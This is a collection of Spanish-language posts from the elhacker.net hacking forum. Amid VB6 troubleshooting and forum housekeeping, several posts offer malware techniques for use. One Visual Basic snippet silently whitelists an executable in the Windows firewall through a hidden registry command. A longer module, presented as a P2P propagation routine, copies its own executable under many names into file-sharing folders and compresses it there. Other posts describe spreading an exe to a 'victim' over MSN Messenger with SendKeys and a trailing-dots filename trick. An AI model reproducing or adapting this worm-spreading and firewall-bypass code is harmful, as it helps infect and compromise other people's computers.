Mensajes

[mscomm32.ocx]

Se llama mscomm32.ocx, y si que lo tienes, mira:



Saludos

Buenas, probablemente alguien ya haya sugerido esto, pero lo considero bastante importante. Esta claro que el subforo de Hacking Avanzado tiene *demasiadas* chinchetas, por lo que dificulta un poco la navegacion y deja poco espacio para los nuevos posts. Propongo que se haga una remodelacion de las mismas: bien sea juntando varias de ellas en una sola (como se hizo en Programacion C/C++), bien eliminando algunas de las que ya esten obsoletas/poco importantes (o ambas opciones, claro). Creo que seria una buena medida que aportaria claridad y organizacion a ese caos sistematico.

Saludos

[WHK]

Gracias WHK, dos cosillas:

- La revista nº 18 esta protegida con password (aparte que pesa demasiado poco). Podrias revisarla?

- Seria excelente que para cada carpeta pusieras todos sus contenidos comprimidos en un solo archivo, y ademas los archivos por separado aparte, si tu hosting te lo permite claro. Lo bueno de este pack era que viene todo junto y evitar asi dar 100 clicks, 100 guardar como's, etc...Y seria genial contar con esa posibilidad tambien.

Nada mas, de resto gracias. Si puedes mirar eso lo pongo en el post inicial como mirror del mio para los que no les funca megaupload

Saludos

Pues pones:

Código (vb) [Seleccionar] Expandir

Private Sub Form_load()
Shell "reg add HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v NombreDelValor /d " & Chr(34) & "C:\Ruta\DeLaAplicacion.exe:*:Enabled:Aplicacion" & Chr(34) & " /f", vbhide
End Sub

Saludos

PD: http://foro.elhacker.net/index.php/topic,40450.0.html

Buenas; en mi opinion lo que deberias hacer es comprimir el exe directamente en la victima, te explico: Hace un tiempo codee un modulo de propagacion para P2P, y en el lo que hacia era buscar si la victima tenia winrar o winzip instalado y usar el compresor desde la consola; se autocomprimia el exe con un monton de nombres distintos y luego se copiaba en las rutas de las carpetas compartidas que encontraba en el sistema. En este caso es algo mas facil porq solo tienes que autocopiarte y comprimir tu copia de exe, y luego enviarlo. Ahora mismo no tengo tiempo de arreglarte el codigo para tu caso especifico, pero te pongo el pedazo relevante para que te hagas una idea aproximada:

Código (vb) [Seleccionar] Expandir

Option Explicit
Public Declare Function PathIsDirectory Lib "shlwapi.dll" Alias "PathIsDirectoryA" (ByVal pszPath As String) As Long

Public Function PropagaP2P()
Dim i As Integer, check As Boolean, TieneWRar As Boolean, TieneWZip As Boolean, ArchProg As String, n As Integer
Dim WinrarPath As String, WinzipPath As String, RutaRAR As String, RutaZIP As String, RutaEXE As String

ArchProg = Environ("programfiles") & "\"
WinrarPath = ArchProg & "WinRAR\rar.exe a -m5 -ep -df -inul "
WinzipPath = ArchProg & "WinZip\winzip32.exe -a "

'*********
' Nota: Aqui viene un tochote de nombres de rutas y ejecutables,
' que no los pongo porq no hacen falta. Las variables RutasP2P() y
' NombreExe() son arrays de strings, y los uso en el for para ir recorriendo
' todas las rutas posibles y copiandome alli donde es posible.
' Tampoco las declare aqui, no hacen falta
'*********

For i = 1 To UBound(RutasP2P)
check = CBool(PathIsDirectory(ArchProg & RutasP2P(i)))
If check = True Then
    For n = 1 To UBound(NombreExe)
    TieneWRar = CBool(PathIsDirectory(ArchProg & "WinRAR"))
    TieneWZip = CBool(PathIsDirectory(ArchProg & "WinZip"))
    If TieneWRar = True Then
        RutaRAR = ArchProg & RutasP2P(i) & "\" & Left(NombreExe(n), Len(NombreExe(n)) - 3) & "rar"
        RutaEXE = ArchProg & RutasP2P(i) & "\" & NombreExe(n)
        DoEvents
        FileCopy App.Path & "\" & App.EXEName & ".exe", ArchProg & RutasP2P(i) & "\" & NombreExe(n)
        Shell WinrarPath & Chr(34) & RutaRAR & Chr(34) & " " & Chr(34) & RutaEXE & Chr(34), vbHide
    ElseIf TieneWZip = True Then
        RutaZIP = ArchProg & RutasP2P(i) & "\" & Left(NombreExe(n), Len(NombreExe(n)) - 3) & "zip"
        RutaEXE = ArchProg & RutasP2P(i) & "\" & NombreExe(n)
        DoEvents
        FileCopy App.Path & "\" & App.EXEName & ".exe", ArchProg & RutasP2P(i) & "\" & NombreExe(n)
        Shell WinzipPath & Chr(34) & RutaZIP & Chr(34) & " " & Chr(34) & RutaEXE & Chr(34), vbHide
    Else
        FileCopy App.Path & "\" & App.EXEName & ".exe", ArchProg & RutasP2P(i) & "\" & NombreExe(n)
    End If
    Next n
End If
Next i
End Function

En fin, puede que no le encuentres sentido asi tal cual porque tiene muchas cosas innecesarias para tu caso (recuerda que es un codigo para propagacion P2P). Si kieres mañana lo arreglo bien y te lo pongo como debe ser; si no puedes esperar pues saca las ideas de ahi y prueba a ver

Saludos

Jaja tal vez sea posible mandando Tab's con Sendkeys hasta llegar a enviar archivo, luego pegar ahi la ruta del exe y usar el truco de los 3 puntitos al final del nombre. De esta manera podrias enviarlo sin necesidad de comprimirlo.

Bueno es lo que se me ocurre asi a bote pronto, toy en linux ahora mismo asi q cuand me de un salto a Win lo pruebo a ver

Saludos

[Programación para MSN Messenger en Visual Basic [ Mini Tutorial ]]

Wolas,

Bueno, aqui hay un post bastante interesante:

Programación para MSN Messenger en Visual Basic [ Mini Tutorial ]
http://foro.elhacker.net/index.php/topic,56012.0.html

Aunque anduve echandole una ojeada al enlace tuyo, y en los dos se explica basicamente lo mismo pero en fin, tal vez te ayude en algo.

Y para mandar mensajes de MI se supone que con InstantMessage (mas Sendkeys ("Texto a enviar"), que en tu enlace no lo pusieron me parece; porq InstantMessage solo abre la ventana de conversacion, luego tienes que mandar el texto) podrias; lo que se me ocurre a mi es que tal vez te falla por ser MSN Live, que es otra historia. Pero vaya, tampoco lo he probado asi que lo ves y nos cuentas xD

Saludos

Vas a flipar un rato tio, no se si me equivoq ayer al responderte pero en mi pc propiedades me pone q tengo windows xp professional SP2 version 2002. Y despues lo he comprovado en la consola de comandos y la version era la 2600....
Coincidencia q me haya equivocado o habra pasado algo raro en mi pc???

Juas!

Bueno lo mas probable es que te hayas confundido, de 2600 a 2006 no hay demasiadas diferencias xD

En cuanto al rollo ese, si no te deja borrarlo...tienes permisos de administrador? De todas maneras si ya lo tienes no creo q hiciera falta recopiarlo de nuevo. Lo unico que se me ocurre a estas alturas es que instales el pack ese que te puse mas arriba (http://support.microsoft.com/kb/817778), que se supone que trae todas las herramientas necesarias, no sea que te falte algo... Lo unico que tienes que hacer ahi es bajar un poco en la pagina y clickar donde dice "Descargar el paquete WindowsXP nosequenosecuanto...exe ahora", lo instalas y listo.

Bueno, "listo"...  a ver que es lo siguiente

Saludos

Vale, 'creo' que ya se lo que falta: bajate esto, es una dll que tienes que poner en system32 tambien:

http://www.megaupload.com/?d=EC37BRT6

Ya me cuentas

PD: Ah por cierto, lo de la falta del netsh no viene dado por ser Home Edition, sino porq viene por defecto a partir del Service Pack 1. Mira donde te dije, click derecho en mi pc etc. y donde te pone Sistema: Microsoft, Windows XP, Home etc., debajo pondria 'Service Pack X' en caso de que lo tengas instalado; si no es asi (que es lo mas probable) no te saldria nada.

Si tienes Home (la 5.1.2006 es Home, 5.1.2600 es la Pro; de todas maneras puedes dar click derecho sobre Mi PC -> Propiedades y ahi sales de dudas).

Lo de "subir el archivo interface" ya lo habia pensado, de hecho lo estuve buscando xD pero no lo encuentro, me da que viene embebido en el netsh pero en tal caso no deberia darte ese error...No se no se, dejame investigar a ver
Saludos